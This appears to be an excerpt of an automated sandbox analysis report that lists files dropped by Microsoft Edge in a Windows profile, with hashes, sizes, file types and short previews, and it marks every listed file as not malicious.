SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d68b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c9f39887-5cd5-482e-9a3b-608b69735eea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.105866971258301
Encrypted:	false
SSDEEP:	192:stfkdpNs0aaFvrE9k7T4Oeb85BbV+FHjQAPUJPoYJ:stfQNs0aCDRk6bGDQtf
MD5:	C9311605EA1562C91AE4AAAC9AE287C4
SHA1:	B300EF8D361A02C2792E6E14189347AFE149FC73
SHA-256:	54CA80370A3697C5BB8E847680726861A1B8E9451B93D6019B9CACAEDF805910
SHA-512:	0F7F97FDC18C5D3F84A21304FF4047ED0A071323943975DB664518E3EB1DE0BC656E5EB24E115522CBB94A34E93A4E7534A6F5BAF8B56463FF56CA18B48A463B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377277051010869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4059a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.105866971258301
Encrypted:	false
SSDEEP:	192:stfkdpNs0aaFvrE9k7T4Oeb85BbV+FHjQAPUJPoYJ:stfQNs0aCDRk6bGDQtf
MD5:	C9311605EA1562C91AE4AAAC9AE287C4
SHA1:	B300EF8D361A02C2792E6E14189347AFE149FC73
SHA-256:	54CA80370A3697C5BB8E847680726861A1B8E9451B93D6019B9CACAEDF805910
SHA-512:	0F7F97FDC18C5D3F84A21304FF4047ED0A071323943975DB664518E3EB1DE0BC656E5EB24E115522CBB94A34E93A4E7534A6F5BAF8B56463FF56CA18B48A463B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377277051010869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF42f1b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.105866971258301
Encrypted:	false
SSDEEP:	192:stfkdpNs0aaFvrE9k7T4Oeb85BbV+FHjQAPUJPoYJ:stfQNs0aCDRk6bGDQtf
MD5:	C9311605EA1562C91AE4AAAC9AE287C4
SHA1:	B300EF8D361A02C2792E6E14189347AFE149FC73
SHA-256:	54CA80370A3697C5BB8E847680726861A1B8E9451B93D6019B9CACAEDF805910
SHA-512:	0F7F97FDC18C5D3F84A21304FF4047ED0A071323943975DB664518E3EB1DE0BC656E5EB24E115522CBB94A34E93A4E7534A6F5BAF8B56463FF56CA18B48A463B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377277051010869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF461f2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.105866971258301
Encrypted:	false
SSDEEP:	192:stfkdpNs0aaFvrE9k7T4Oeb85BbV+FHjQAPUJPoYJ:stfQNs0aCDRk6bGDQtf
MD5:	C9311605EA1562C91AE4AAAC9AE287C4
SHA1:	B300EF8D361A02C2792E6E14189347AFE149FC73
SHA-256:	54CA80370A3697C5BB8E847680726861A1B8E9451B93D6019B9CACAEDF805910
SHA-512:	0F7F97FDC18C5D3F84A21304FF4047ED0A071323943975DB664518E3EB1DE0BC656E5EB24E115522CBB94A34E93A4E7534A6F5BAF8B56463FF56CA18B48A463B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377277051010869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4bdbe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.105866971258301
Encrypted:	false
SSDEEP:	192:stfkdpNs0aaFvrE9k7T4Oeb85BbV+FHjQAPUJPoYJ:stfQNs0aCDRk6bGDQtf
MD5:	C9311605EA1562C91AE4AAAC9AE287C4
SHA1:	B300EF8D361A02C2792E6E14189347AFE149FC73
SHA-256:	54CA80370A3697C5BB8E847680726861A1B8E9451B93D6019B9CACAEDF805910
SHA-512:	0F7F97FDC18C5D3F84A21304FF4047ED0A071323943975DB664518E3EB1DE0BC656E5EB24E115522CBB94A34E93A4E7534A6F5BAF8B56463FF56CA18B48A463B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377277051010869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568106251373201
Encrypted:	false
SSDEEP:	768:B9w+KlWzvW5wYOf4Yj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPuWIBuQUrwXjpatuj:Ba1lavWaYOfpju1jarFTNAtE
MD5:	55F0DE89AEE0C0FC82E672A9CEEB00B1
SHA1:	5584907502C76D18A6B165951D9576FCB5C552DA
SHA-256:	ED1B8F209D8A4E59FB0CAD40308939E46D88CB710C8EFE3BC2F1C275FA9AD832
SHA-512:	7B740B5E5402E87A66043BD6CD9DE20EA1AAB00355553FA86AAA084B4EB08AF5327883FA59E69E6C72DA141E2D1D51D4DD6A3FA6E500365B746D7EF470A9B96A
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377277050383918","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377277050383918","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3fd8b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568106251373201
Encrypted:	false
SSDEEP:	768:B9w+KlWzvW5wYOf4Yj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPuWIBuQUrwXjpatuj:Ba1lavWaYOfpju1jarFTNAtE
MD5:	55F0DE89AEE0C0FC82E672A9CEEB00B1
SHA1:	5584907502C76D18A6B165951D9576FCB5C552DA
SHA-256:	ED1B8F209D8A4E59FB0CAD40308939E46D88CB710C8EFE3BC2F1C275FA9AD832
SHA-512:	7B740B5E5402E87A66043BD6CD9DE20EA1AAB00355553FA86AAA084B4EB08AF5327883FA59E69E6C72DA141E2D1D51D4DD6A3FA6E500365B746D7EF470A9B96A
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377277050383918","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377277050383918","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.834731683971571
Encrypted:	false
SSDEEP:	48:F2emPtrdDHZfBlXrdYx8rdDHEB+rdOEBs:F1mPtxD57xYx8xDhx2
MD5:	0B9585C3635AE690DB5F65A45C996473
SHA1:	E243BA1DA1E804AA205285FF66CCCAE3D6DE1CDE
SHA-256:	7E66814459E6C2EDB0CFD7F78178E93E974377499DE638F98FBCD51F30CDFFF6
SHA-512:	B5052830D42B796CDE8492017C63F39CEBC042EAE7DEB426489F6557426BF88D70C64E30365A46C0F4B52115C2A1A3F366933D1EAD7260611AAA3FFF58014C9D
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..#.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.081550729842881
Encrypted:	false
SSDEEP:	6:HgI1N723oH+TcwtE/a252KLlVgu+Aq2PN723oH+TcwtE/a2ZIFUv:AIaYeb8xLYu+AvVaYeb8J2FUv
MD5:	4B48C36DCE4E7B24F47CEAA50F0CECCF
SHA1:	1C896FFBF7131B91264ED56435F1C7057BD302F2
SHA-256:	9D54ABD9A5A0417EBECF47AF79267FBA9FAC68BE223DC022A63037F0945D1AC3
SHA-512:	D4B69911F0F528B54795B4249466114F66960152BD6378A3D0CFD83B9642EEE3B6D8FEF5032A98869B75F14B7AAD62092106CEBA9144DB2AB04425F579E7B049
Malicious:	false
Preview:	2024/11/28-09:18:01.908 1ec0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/28-09:18:01.932 1ec0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.579661218333476
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgY7:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFw
MD5:	D116E86E190D73AC294713FCBE77E0C2
SHA1:	9639CFE2397386BC867C400F854A825E2543FCD2
SHA-256:	CE494C5FA733E44BCCB322EFE37DF1CAF816CB58055D03C614CCE564C54E924C
SHA-512:	A14B3228D173098EF1E1A59F37BDA6DC2B781296C040FB3F83F1801BAA3860807AAD67F32E383FB3B9435E59C9A7E1048AA309DDE0AF02793CBF4338B8500C3B
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188865
Entropy (8bit):	6.385964457509753
Encrypted:	false
SSDEEP:	3072:okXwCrXX7CqppwSy5iWeL/RlM7XSPDLGrsweQh1L:Nvpwji3L/r0GXju9
MD5:	2A057448F74F2D3F94AB951F933A0682
SHA1:	6CF5954758675525FCFE77C37AF4F5AF22A06FDF
SHA-256:	3C8141328A21E58353E85C69A78D79E57C7A9712035797AA878008D59B81573A
SHA-512:	41C03FBB00FF89AB6D977CF4093D38C4E48C6C8C2B8825D3548E6954481C75159D958906BEF73A66B9C5A6B1517BDD45857C03D5AD64D44A79ABCE4D2EA779D1
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTh........,T.8..`,.....L`.....,T...`......L`......Rc.l.l....exports...Rc>C.....module....Rc.?.....define....Rb..h....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.v...b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:i5FXTXl/ly/l9/lxE0tlla/lkln:ivmO0gkl
MD5:	86E513F03199E9F00129E5138DEEDA90
SHA1:	BB01CF636D051ABBDE6A63910361BB3611D1C80B
SHA-256:	3E6654E56C94DB8DDBBFE2658E459B98167A013EE4592D15DF56A37E15AD459C
SHA-512:	D6F3E2A60F6C205BA6D6223394B14A543CD06401F749C7575F78A55EB168860C9FC0696D4CF6E4DAA1AA76AD064ABFCA965430BEC66426F832BD9D624A526085
Malicious:	false
Preview:	@....(..oy retne.........................X....,................[X..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:i5FXTXl/ly/l9/lxE0tlla/lkln:ivmO0gkl
MD5:	86E513F03199E9F00129E5138DEEDA90
SHA1:	BB01CF636D051ABBDE6A63910361BB3611D1C80B
SHA-256:	3E6654E56C94DB8DDBBFE2658E459B98167A013EE4592D15DF56A37E15AD459C
SHA-512:	D6F3E2A60F6C205BA6D6223394B14A543CD06401F749C7575F78A55EB168860C9FC0696D4CF6E4DAA1AA76AD064ABFCA965430BEC66426F832BD9D624A526085
Malicious:	false
Preview:	@....(..oy retne.........................X....,................[X..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF47914.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:i5FXTXl/ly/l9/lxE0tlla/lkln:ivmO0gkl
MD5:	86E513F03199E9F00129E5138DEEDA90
SHA1:	BB01CF636D051ABBDE6A63910361BB3611D1C80B
SHA-256:	3E6654E56C94DB8DDBBFE2658E459B98167A013EE4592D15DF56A37E15AD459C
SHA-512:	D6F3E2A60F6C205BA6D6223394B14A543CD06401F749C7575F78A55EB168860C9FC0696D4CF6E4DAA1AA76AD064ABFCA965430BEC66426F832BD9D624A526085
Malicious:	false
Preview:	@....(..oy retne.........................X....,................[X..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7970
Entropy (8bit):	3.344491681107469
Encrypted:	false
SSDEEP:	192:Ps84cIUFEAmliNo07Nwt89Xp+QVKiCp5SLl9iSrWD03VAT69:k4mow+9Xp+3pp5SLl9iSrqWKTG
MD5:	A455E4AB973C4E80A346100B0D8CD6C4
SHA1:	E1B2CC0C925D3FBEAEBC9668786DB773605BF325
SHA-256:	CC70FDC4F29879EC0AA0ECD72C07EDDB7266D1E2C542D5A1C88774A013C62C39
SHA-512:	2988BD13D06A69C706C7186EE2B453FA5AFBE51A867F72001A84808B7F0F8C8D6FE4C884A1F8E752E3CABD32C9F4705AD241B32200F68EB8A30F16A3C0775E3C
Malicious:	false
